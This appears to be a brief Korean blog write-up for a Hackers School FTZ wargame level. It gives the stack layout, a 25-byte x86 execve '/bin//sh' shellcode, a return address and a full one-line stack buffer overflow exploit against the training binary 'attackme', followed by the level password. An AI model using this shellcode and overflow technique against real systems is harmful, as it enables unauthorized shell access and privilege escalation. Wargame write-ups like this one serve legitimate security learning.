str구조
str(256) + dummy(8) + sfp(4) + ret(4)
25byte shellcode = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
0xbffffc0c들고 가서
./attackme `python -c 'print "\x90"*243 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x0c\xfc\xff\xbf"'`
pw : it is like this
'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글
FTZ level13 (0) | 2021.03.13 |
---|---|
FTZ level12 (0) | 2021.03.13 |
FTZ level10 (0) | 2021.03.12 |
FTZ level9 (0) | 2021.03.12 |
FTZ level8 (0) | 2021.03.12 |